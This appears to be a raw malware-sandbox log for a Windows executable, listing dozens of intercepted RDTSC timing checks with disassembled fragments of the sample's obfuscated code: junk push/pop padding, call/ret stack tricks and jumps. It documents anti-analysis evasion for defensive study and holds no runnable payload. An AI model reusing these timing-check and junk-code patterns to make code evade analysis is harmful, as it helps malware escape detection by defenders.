Source: C:\Users\user\Desktop\Prs9eAnu2k.exeRDTSC instruction interceptor: First address: C80955 second address: C8095A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\Prs9eAnu2k.exeRDTSC instruction interceptor: First address: C8095A second address: C80964 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jns 00007F82B53DDA06h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\Prs9eAnu2k.exeRDTSC instruction interceptor: First address: C80964 second address: C80999 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 jmp 00007F82B4B869CBh 0x0000000e mov eax, dword ptr [esp+04h] 0x00000012 push eax 0x00000013 push edx 0x00000014 push eax 0x00000015 jmp 00007F82B4B869D9h 0x0000001a pop eax 0x0000001b rdtsc
Source: C:\Users\user\Desktop\Prs9eAnu2k.exeRDTSC instruction interceptor: First address: C80999 second address: C8099E instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\Prs9eAnu2k.exeRDTSC instruction interceptor: First address: C85A69 second address: C85A7E instructions: 0x00000000 rdtsc 0x00000002 js 00007F82B4B869C6h 0x00000008 jo 00007F82B4B869C6h 0x0000000e pop edx 0x0000000f pop eax 0x00000010 pushad 0x00000011 pushad 0x00000012 popad 0x00000013 push eax 0x00000014 push edx 0x00000015 rdtsc
Source: C:\Users\user\Desktop\Prs9eAnu2k.exeRDTSC instruction interceptor: First address: C85D1A second address: C85D27 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 popad 0x00000007 push eax 0x00000008 pushad 0x00000009 push ecx 0x0000000a pop ecx 0x0000000b push eax 0x0000000c push edx 0x0000000d rdtsc
Source: C:\Users\user\Desktop\Prs9eAnu2k.exeRDTSC instruction interceptor: First address: C85D27 second address: C85D31 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push edx 0x00000006 pushad 0x00000007 popad 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\Prs9eAnu2k.exeRDTSC instruction interceptor: First address: C861BE second address: C861C3 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\Prs9eAnu2k.exeRDTSC instruction interceptor: First address: C861C3 second address: C861C9 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\Prs9eAnu2k.exeRDTSC instruction interceptor: First address: C861C9 second address: C861CF instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\Prs9eAnu2k.exeRDTSC instruction interceptor: First address: C86DDA second address: C86DE0 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\Prs9eAnu2k.exeRDTSC instruction interceptor: First address: C86DE0 second address: C86DE4 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\Prs9eAnu2k.exeRDTSC instruction interceptor: First address: C86DE4 second address: C86DE8 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\Prs9eAnu2k.exeRDTSC instruction interceptor: First address: C86DE8 second address: C86E28 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 add dword ptr [esp], 6AC51D1Ah 0x0000000f jmp 00007F82B53DDA18h 0x00000014 push 6A5D920Eh 0x00000019 push eax 0x0000001a push edx 0x0000001b jmp 00007F82B53DDA12h 0x00000020 rdtsc
Source: C:\Users\user\Desktop\Prs9eAnu2k.exeRDTSC instruction interceptor: First address: C86E28 second address: C86E2E instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\Prs9eAnu2k.exeRDTSC instruction interceptor: First address: C87216 second address: C8721C instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\Prs9eAnu2k.exeRDTSC instruction interceptor: First address: C87A43 second address: C87A47 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\Prs9eAnu2k.exeRDTSC instruction interceptor: First address: C87DFF second address: C87E03 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\Prs9eAnu2k.exeRDTSC instruction interceptor: First address: C87F89 second address: C87F9B instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 popad 0x00000007 push eax 0x00000008 push eax 0x00000009 push edx 0x0000000a je 00007F82B4B869C8h 0x00000010 pushad 0x00000011 popad 0x00000012 rdtsc
Source: C:\Users\user\Desktop\Prs9eAnu2k.exeRDTSC instruction interceptor: First address: C87F9B second address: C87FC2 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F82B53DDA0Ah 0x00000007 pop edx 0x00000008 pop eax 0x00000009 nop 0x0000000a push eax 0x0000000b push eax 0x0000000c push edx 0x0000000d jmp 00007F82B53DDA15h 0x00000012 rdtsc
Source: C:\Users\user\Desktop\Prs9eAnu2k.exeRDTSC instruction interceptor: First address: C8847A second address: C8847E instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\Prs9eAnu2k.exeRDTSC instruction interceptor: First address: C8847E second address: C8848C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 popad 0x00000007 push eax 0x00000008 push eax 0x00000009 push edx 0x0000000a push eax 0x0000000b push edx 0x0000000c pushad 0x0000000d popad 0x0000000e rdtsc
Source: C:\Users\user\Desktop\Prs9eAnu2k.exeRDTSC instruction interceptor: First address: C8848C second address: C88492 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\Prs9eAnu2k.exeRDTSC instruction interceptor: First address: C88492 second address: C884EA instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 pushad 0x00000004 popad 0x00000005 pop edx 0x00000006 pop edx 0x00000007 pop eax 0x00000008 nop 0x00000009 mov esi, dword ptr [ebp+122D2894h] 0x0000000f push 00000000h 0x00000011 mov di, D7B3h 0x00000015 push 00000000h 0x00000017 push 00000000h 0x00000019 push esi 0x0000001a call 00007F82B53DDA08h 0x0000001f pop esi 0x00000020 mov dword ptr [esp+04h], esi 0x00000024 add dword ptr [esp+04h], 00000017h 0x0000002c inc esi 0x0000002d push esi 0x0000002e ret 0x0000002f pop esi 0x00000030 ret 0x00000031 jmp 00007F82B53DDA0Bh 0x00000036 xchg eax, ebx 0x00000037 push eax 0x00000038 push edx 0x00000039 jmp 00007F82B53DDA14h 0x0000003e rdtsc
Source: C:\Users\user\Desktop\Prs9eAnu2k.exeRDTSC instruction interceptor: First address: C884EA second address: C88513 instructions: 0x00000000 rdtsc 0x00000002 jg 00007F82B4B869C8h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push eax 0x0000000b push eax 0x0000000c push edx 0x0000000d pushad 0x0000000e js 00007F82B4B869C6h 0x00000014 jmp 00007F82B4B869D2h 0x00000019 popad 0x0000001a rdtsc
Source: C:\Users\user\Desktop\Prs9eAnu2k.exeRDTSC instruction interceptor: First address: C88E68 second address: C88EFC instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 jmp 00007F82B53DDA15h 0x0000000a popad 0x0000000b mov dword ptr [esp], eax 0x0000000e push 00000000h 0x00000010 push eax 0x00000011 call 00007F82B53DDA08h 0x00000016 pop eax 0x00000017 mov dword ptr [esp+04h], eax 0x0000001b add dword ptr [esp+04h], 00000016h 0x00000023 inc eax 0x00000024 push eax 0x00000025 ret 0x00000026 pop eax 0x00000027 ret 0x00000028 jl 00007F82B53DDA06h 0x0000002e push 00000000h 0x00000030 mov esi, ecx 0x00000032 push 00000000h 0x00000034 push 00000000h 0x00000036 push esi 0x00000037 call 00007F82B53DDA08h 0x0000003c pop esi 0x0000003d mov dword ptr [esp+04h], esi 0x00000041 add dword ptr [esp+04h], 00000015h 0x00000049 inc esi 0x0000004a push esi 0x0000004b ret 0x0000004c pop esi 0x0000004d ret 0x0000004e or esi, 031E6A7Ch 0x00000054 mov dword ptr [ebp+12454D31h], ecx 0x0000005a xchg eax, ebx 0x0000005b push ebx 0x0000005c jbe 00007F82B53DDA1Bh 0x00000062 jmp 00007F82B53DDA15h 0x00000067 pop ebx 0x00000068 push eax 0x00000069 push edx 0x0000006a pushad 0x0000006b push eax 0x0000006c push edx 0x0000006d rdtsc
Source: C:\Users\user\Desktop\Prs9eAnu2k.exeRDTSC instruction interceptor: First address: C88EFC second address: C88F02 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\Prs9eAnu2k.exeRDTSC instruction interceptor: First address: C8A9F5 second address: C8AA69 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F82B53DDA0Ch 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a jmp 00007F82B53DDA13h 0x0000000f nop 0x00000010 jmp 00007F82B53DDA0Ah 0x00000015 mov esi, dword ptr [ebp+122D2A50h] 0x0000001b push 00000000h 0x0000001d push 00000000h 0x0000001f push ebp 0x00000020 call 00007F82B53DDA08h 0x00000025 pop ebp 0x00000026 mov dword ptr [esp+04h], ebp 0x0000002a add dword ptr [esp+04h], 00000016h 0x00000032 inc ebp 0x00000033 push ebp 0x00000034 ret 0x00000035 pop ebp 0x00000036 ret 0x00000037 mov dword ptr [ebp+122D1C38h], esi 0x0000003d push 00000000h 0x0000003f cmc 0x00000040 xchg eax, ebx 0x00000041 push eax 0x00000042 push edx 0x00000043 jo 00007F82B53DDA13h 0x00000049 jmp 00007F82B53DDA0Dh 0x0000004e rdtsc
Source: C:\Users\user\Desktop\Prs9eAnu2k.exeRDTSC instruction interceptor: First address: C8A7A6 second address: C8A7B8 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F82B4B869CEh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\Prs9eAnu2k.exeRDTSC instruction interceptor: First address: C8B4C7 second address: C8B548 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push edx 0x00000005 pop edx 0x00000006 popad 0x00000007 mov dword ptr [esp], eax 0x0000000a push 00000000h 0x0000000c push eax 0x0000000d call 00007F82B53DDA08h 0x00000012 pop eax 0x00000013 mov dword ptr [esp+04h], eax 0x00000017 add dword ptr [esp+04h], 00000019h 0x0000001f inc eax 0x00000020 push eax 0x00000021 ret 0x00000022 pop eax 0x00000023 ret 0x00000024 push 00000000h 0x00000026 jns 00007F82B53DDA06h 0x0000002c push 00000000h 0x0000002e push 00000000h 0x00000030 push edi 0x00000031 call 00007F82B53DDA08h 0x00000036 pop edi 0x00000037 mov dword ptr [esp+04h], edi 0x0000003b add dword ptr [esp+04h], 00000014h 0x00000043 inc edi 0x00000044 push edi 0x00000045 ret 0x00000046 pop edi 0x00000047 ret 0x00000048 jmp 00007F82B53DDA0Dh 0x0000004d mov esi, dword ptr [ebp+122D1F1Bh] 0x00000053 mov si, 211Eh 0x00000057 xchg eax, ebx 0x00000058 js 00007F82B53DDA12h 0x0000005e ja 00007F82B53DDA0Ch 0x00000064 push eax 0x00000065 push eax 0x00000066 push edx 0x00000067 pushad 0x00000068 push eax 0x00000069 push edx 0x0000006a rdtsc
Source: C:\Users\user\Desktop\Prs9eAnu2k.exeRDTSC instruction interceptor: First address: C8B548 second address: C8B54F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 popad 0x00000007 rdtsc
Source: C:\Users\user\Desktop\Prs9eAnu2k.exeRDTSC instruction interceptor: First address: C8C979 second address: C8C97F instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\Prs9eAnu2k.exeRDTSC instruction interceptor: First address: C8B283 second address: C8B28E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push eax 0x00000006 push eax 0x00000007 push edx 0x00000008 push ecx 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\Prs9eAnu2k.exeRDTSC instruction interceptor: First address: C8C97F second address: C8C989 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jnc 00007F82B53DDA06h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\Prs9eAnu2k.exeRDTSC instruction interceptor: First address: C8B28E second address: C8B293 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ecx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\Prs9eAnu2k.exeRDTSC instruction interceptor: First address: C8C989 second address: C8CA1B instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 mov dword ptr [esp], eax 0x0000000b mov si, di 0x0000000e push 00000000h 0x00000010 push 00000000h 0x00000012 push esi 0x00000013 call 00007F82B53DDA08h 0x00000018 pop esi 0x00000019 mov dword ptr [esp+04h], esi 0x0000001d add dword ptr [esp+04h], 0000001Bh 0x00000025 inc esi 0x00000026 push esi 0x00000027 ret 0x00000028 pop esi 0x00000029 ret 0x0000002a jmp 00007F82B53DDA12h 0x0000002f push 00000000h 0x00000031 push 00000000h 0x00000033 push esi 0x00000034 call 00007F82B53DDA08h 0x00000039 pop esi 0x0000003a mov dword ptr [esp+04h], esi 0x0000003e add dword ptr [esp+04h], 00000018h 0x00000046 inc esi 0x00000047 push esi 0x00000048 ret 0x00000049 pop esi 0x0000004a ret 0x0000004b mov dword ptr [ebp+122D1950h], esi 0x00000051 mov esi, 12727190h 0x00000056 xchg eax, ebx 0x00000057 jg 00007F82B53DDA15h 0x0000005d push eax 0x0000005e jbe 00007F82B53DDA14h 0x00000064 pushad 0x00000065 push eax 0x00000066 push edx 0x00000067 rdtsc
Source: C:\Users\user\Desktop\Prs9eAnu2k.exeRDTSC instruction interceptor: First address: C8B293 second address: C8B299 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\Prs9eAnu2k.exeRDTSC instruction interceptor: First address: C8CA1B second address: C8CA21 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\Prs9eAnu2k.exeRDTSC instruction interceptor: First address: C8B299 second address: C8B29D instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\Prs9eAnu2k.exeRDTSC instruction interceptor: First address: C8D484 second address: C8D48E instructions: 0x00000000 rdtsc 0x00000002 jnl 00007F82B53DDA06h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a rdtsc
Source: C:\Users\user\Desktop\Prs9eAnu2k.exeRDTSC instruction interceptor: First address: C8D48E second address: C8D4AB instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F82B4B869D9h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\Prs9eAnu2k.exeRDTSC instruction interceptor: First address: C8D4AB second address: C8D4C6 instructions: 0x00000000 rdtsc 0x00000002 jns 00007F82B53DDA06h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a pop edx 0x0000000b pop eax 0x0000000c push eax 0x0000000d push eax 0x0000000e push edx 0x0000000f jg 00007F82B53DDA0Ch 0x00000015 rdtsc
Source: C:\Users\user\Desktop\Prs9eAnu2k.exeRDTSC instruction interceptor: First address: C8D4C6 second address: C8D4CC instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\Prs9eAnu2k.exeRDTSC instruction interceptor: First address: C8D4CC second address: C8D514 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 nop 0x00000009 mov dword ptr [ebp+122D1B84h], ecx 0x0000000f push 00000000h 0x00000011 push 00000000h 0x00000013 push edx 0x00000014 call 00007F82B53DDA08h 0x00000019 pop edx 0x0000001a mov dword ptr [esp+04h], edx 0x0000001e add dword ptr [esp+04h], 00000016h 0x00000026 inc edx 0x00000027 push edx 0x00000028 ret 0x00000029 pop edx 0x0000002a ret 0x0000002b or dword ptr [ebp+122D26A8h], edx 0x00000031 push 00000000h 0x00000033 or edi, 1ADC807Bh 0x00000039 push eax 0x0000003a push eax 0x0000003b push edx 0x0000003c js 00007F82B53DDA0Ch 0x00000042 push eax 0x00000043 push edx 0x00000044 rdtsc
Source: C:\Users\user\Desktop\Prs9eAnu2k.exeRDTSC instruction interceptor: First address: C8D514 second address: C8D518 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\Prs9eAnu2k.exeRDTSC instruction interceptor: First address: C90DE4 second address: C90DEA instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 pop ebx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\Prs9eAnu2k.exeRDTSC instruction interceptor: First address: C90DEA second address: C90DFA instructions: 0x00000000 rdtsc 0x00000002 jc 00007F82B4B869D2h 0x00000008 jp 00007F82B4B869C6h 0x0000000e push eax 0x0000000f push edx 0x00000010 rdtsc
Source: C:\Users\user\Desktop\Prs9eAnu2k.exeRDTSC instruction interceptor: First address: C45BDB second address: C45BF5 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F82B53DDA14h 0x00000009 pushad 0x0000000a popad 0x0000000b rdtsc
Source: C:\Users\user\Desktop\Prs9eAnu2k.exeRDTSC instruction interceptor: First address: C45BF5 second address: C45BF9 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\Prs9eAnu2k.exeRDTSC instruction interceptor: First address: C45BF9 second address: C45C1B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 push edx 0x0000000a jns 00007F82B53DDA12h 0x00000010 push eax 0x00000011 push edx 0x00000012 push eax 0x00000013 pop eax 0x00000014 push eax 0x00000015 push edx 0x00000016 rdtsc
Source: C:\Users\user\Desktop\Prs9eAnu2k.exeRDTSC instruction interceptor: First address: C45C1B second address: C45C1F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\Prs9eAnu2k.exeRDTSC instruction interceptor: First address: C45C1F second address: C45C35 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F82B53DDA12h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\Prs9eAnu2k.exeRDTSC instruction interceptor: First address: C45C35 second address: C45C60 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushad 0x00000004 popad 0x00000005 pushad 0x00000006 popad 0x00000007 jg 00007F82B4B869C6h 0x0000000d popad 0x0000000e push eax 0x0000000f push edx 0x00000010 jmp 00007F82B4B869D1h 0x00000015 jmp 00007F82B4B869CAh 0x0000001a rdtsc
Source: C:\Users\user\Desktop\Prs9eAnu2k.exeRDTSC instruction interceptor: First address: C45C60 second address: C45C66 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\Prs9eAnu2k.exeRDTSC instruction interceptor: First address: C9187B second address: C9188A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jno 00007F82B4B869C6h 0x0000000a popad 0x0000000b push eax 0x0000000c push edx 0x0000000d pushad 0x0000000e popad 0x0000000f rdtsc
Source: C:\Users\user\Desktop\Prs9eAnu2k.exeRDTSC instruction interceptor: First address: C9188A second address: C9188E instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\Prs9eAnu2k.exeRDTSC instruction interceptor: First address: C9188E second address: C9189C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 popad 0x00000007 push eax 0x00000008 push eax 0x00000009 push edx 0x0000000a push eax 0x0000000b push edx 0x0000000c push eax 0x0000000d pop eax 0x0000000e rdtsc
Source: C:\Users\user\Desktop\Prs9eAnu2k.exeRDTSC instruction interceptor: First address: C9189C second address: C918A2 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\Prs9eAnu2k.exeRDTSC instruction interceptor: First address: C918A2 second address: C918A8 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push edx 0x00000005 pop edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\Prs9eAnu2k.exeRDTSC instruction interceptor: First address: C91DC9 second address: C91DCD instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\Prs9eAnu2k.exeRDTSC instruction interceptor: First address: C91DCD second address: C91DDC instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push eax 0x00000008 push edx 0x00000009 pushad 0x0000000a pushad 0x0000000b popad 0x0000000c push esi 0x0000000d pop esi 0x0000000e popad 0x0000000f rdtsc
Source: C:\Users\user\Desktop\Prs9eAnu2k.exeRDTSC instruction interceptor: First address: C91E63 second address: C91E67 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\Prs9eAnu2k.exeRDTSC instruction interceptor: First address: C93E7B second address: C93E88 instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 pop edx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop esi 0x00000007 push eax 0x00000008 push eax 0x00000009 push edx 0x0000000a pushad 0x0000000b push eax 0x0000000c push edx 0x0000000d rdtsc
Source: C:\Users\user\Desktop\Prs9eAnu2k.exeRDTSC instruction interceptor: First address: C93E88 second address: C93E93 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jbe 00007F82B53DDA06h 0x0000000a popad 0x0000000b rdtsc
Source: C:\Users\user\Desktop\Prs9eAnu2k.exeRDTSC instruction interceptor: First address: C92E5E second address: C92E62 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\Prs9eAnu2k.exeRDTSC instruction interceptor: First address: C92E62 second address: C92E68 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\Prs9eAnu2k.exeRDTSC instruction interceptor: First address: C92E68 second address: C92E9C instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F82B4B869D5h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a pushad 0x0000000b push eax 0x0000000c push edx 0x0000000d jmp 00007F82B4B869D7h 0x00000012 rdtsc
Source: C:\Users\user\Desktop\Prs9eAnu2k.exeRDTSC instruction interceptor: First address: C92E9C second address: C92EC0 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F82B53DDA14h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a push edx 0x0000000b jmp 00007F82B53DDA0Ah 0x00000010 rdtsc
Source: C:\Users\user\Desktop\Prs9eAnu2k.exeRDTSC instruction interceptor: First address: C94D56 second address: C94D88 instructions: 0x00000000 rdtsc 0x00000002 jo 00007F82B4B869C6h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a jng 00007F82B4B869D4h 0x00000010 jmp 00007F82B4B869CEh 0x00000015 popad 0x00000016 push eax 0x00000017 pushad 0x00000018 jnl 00007F82B4B869CCh 0x0000001e pushad 0x0000001f push ecx 0x00000020 pop ecx 0x00000021 push eax 0x00000022 push edx 0x00000023 rdtsc
Source: C:\Users\user\Desktop\Prs9eAnu2k.exeRDTSC instruction interceptor: First address: C94D88 second address: C94DEA instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 popad 0x00000006 nop 0x00000007 jmp 00007F82B53DDA13h 0x0000000c push 00000000h 0x0000000e push 00000000h 0x00000010 push ebp 0x00000011 call 00007F82B53DDA08h 0x00000016 pop ebp 0x00000017 mov dword ptr [esp+04h], ebp 0x0000001b add dword ptr [esp+04h], 00000015h 0x00000023 inc ebp 0x00000024 push ebp 0x00000025 ret 0x00000026 pop ebp 0x00000027 ret 0x00000028 and ebx, dword ptr [ebp+122D59E9h] 0x0000002e or dword ptr [ebp+122D1C47h], eax 0x00000034 push 00000000h 0x00000036 xchg eax, esi 0x00000037 push edx 0x00000038 push eax 0x00000039 push edx 0x0000003a jmp 00007F82B53DDA17h 0x0000003f rdtsc
Source: C:\Users\user\Desktop\Prs9eAnu2k.exeRDTSC instruction interceptor: First address: C92EC0 second address: C92F3A instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 popad 0x00000007 nop 0x00000008 mov dword ptr [ebp+122D1957h], edi 0x0000000e mov bx, di 0x00000011 push dword ptr fs:[00000000h] 0x00000018 add edi, dword ptr [ebp+122D1B72h] 0x0000001e mov dword ptr fs:[00000000h], esp 0x00000025 call 00007F82B4B869CDh 0x0000002a mov bx, si 0x0000002d pop edi 0x0000002e mov eax, dword ptr [ebp+122D14F9h] 0x00000034 push 00000000h 0x00000036 push eax 0x00000037 call 00007F82B4B869C8h 0x0000003c pop eax 0x0000003d mov dword ptr [esp+04h], eax 0x00000041 add dword ptr [esp+04h], 0000001Ah 0x00000049 inc eax 0x0000004a push eax 0x0000004b ret 0x0000004c pop eax 0x0000004d ret 0x0000004e mov bx, 89A0h 0x00000052 push FFFFFFFFh 0x00000054 mov edi, 26FC6302h 0x00000059 mov dword ptr [ebp+122D35B3h], edx 0x0000005f push eax 0x00000060 jnp 00007F82B4B869D4h 0x00000066 push eax 0x00000067 push edx 0x00000068 push eax 0x00000069 push edx 0x0000006a rdtsc
Source: C:\Users\user\Desktop\Prs9eAnu2k.exeRDTSC instruction interceptor: First address: C92F3A second address: C92F3E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\Prs9eAnu2k.exeRDTSC instruction interceptor: First address: C97D05 second address: C97D0B instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\Prs9eAnu2k.exeRDTSC instruction interceptor: First address: C97D0B second address: C97D0F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\Prs9eAnu2k.exeRDTSC instruction interceptor: First address: C96F2B second address: C96F39 instructions: 0x00000000 rdtsc 0x00000002 jp 00007F82B4B869C6h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push eax 0x0000000b push edx 0x0000000c pushad 0x0000000d popad 0x0000000e rdtsc
